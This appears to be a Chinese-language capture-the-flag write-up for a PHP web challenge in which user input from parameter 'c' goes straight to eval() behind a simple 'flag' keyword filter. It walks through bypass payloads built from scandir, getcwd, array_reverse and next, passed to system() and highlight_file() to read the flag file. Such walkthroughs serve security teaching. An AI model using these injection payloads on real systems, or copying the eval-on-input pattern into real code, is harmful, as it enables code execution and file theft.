题目信息※
命令执行需要严格的过滤
打开网页提示

得到一段源代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}发现需要函数c,并且可以通过eval进行代码执行操作
解题思路※
给出的php代码中/flag/i代表的意思是,无视大小写匹配的flag,只要包含flag 就不会执行eval里面的代码
尝试执行phpinfo();



当文件包含了flag这个名称就无法执行了,想办法绕过,我们采用路径拼接的方式去绕过
使用print_r函数来辅助我们看到具体的内容
getcwd() // 获取当前所在的绝对路径
scandir() // 扫描目录下有什么文件
array_reverse() //使用反转列表 使flag.php在第二个位置
当需要读取数组第一个值的时候使用 current() 如果是第二个则是next()


之后,我们尝试拼接到system函数里
system("cat".next(array_reverse(scandir(getcwd()))))
发现无法查看内容,意思是被包含之后执行了代码,使用highlight_file()函数高亮显示代码
highlight_file(next(array_reverse(scandir(getcwd()))))
得到flag